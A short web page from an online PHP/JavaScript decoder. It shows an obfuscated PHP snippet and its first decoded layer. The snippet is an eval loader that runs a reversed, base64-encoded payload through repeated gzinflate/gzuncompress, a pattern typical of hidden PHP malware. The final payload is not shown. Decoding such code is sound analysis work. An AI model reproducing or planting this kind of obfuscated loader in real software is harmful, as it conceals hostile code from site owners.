Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php 

$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
$gzinflate = "=kNpMtH71+ljPksZMcCcwcK+3fDlWgk7NrBwORQ/WY/zBOoBN4X5VZLsGffsu1D7GtfN+HA/jfc4llGsPjjJ9bYdzfpXuEKc5lgWShDAjYIIyjLEB6sJ7xwmW/t3sAjUdNhc365UYm35GrrxT/tH/rnbb1CtIqbEcyy3idRJJkv+7+nmXjdVY/WLfqnB02J4O1fe/7lAU0MajUGZSsHwKqhmHzv900i0h3YtoOCJcosuAHEtpAimJmdmoFCB2NZlgqVobRLXemwlekB8PSBazZLFbIHPfRsqapn5Z2WFCGLcWb5Ls9hJahXA7YV+RHfRiYvgTQpUFHyk8tcxG2ovhQOTquhQ66yaMV9H6FEhemC6vu7woIlYFCFlmOADdmcnyI39588cbGYIw42qSs//TI4HhYD0z0ItUW6T0Zs4GozL1SjnL3tNWA5gc9D9v0HFwI8adFVbcin/sGwUBwJe+HaAeFg/cGwYB4/lBgWA";
eval(htmlspecialchars_decode(urldecode(base64_decode($gz))));

?>

Decrypted code:

eval("".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));

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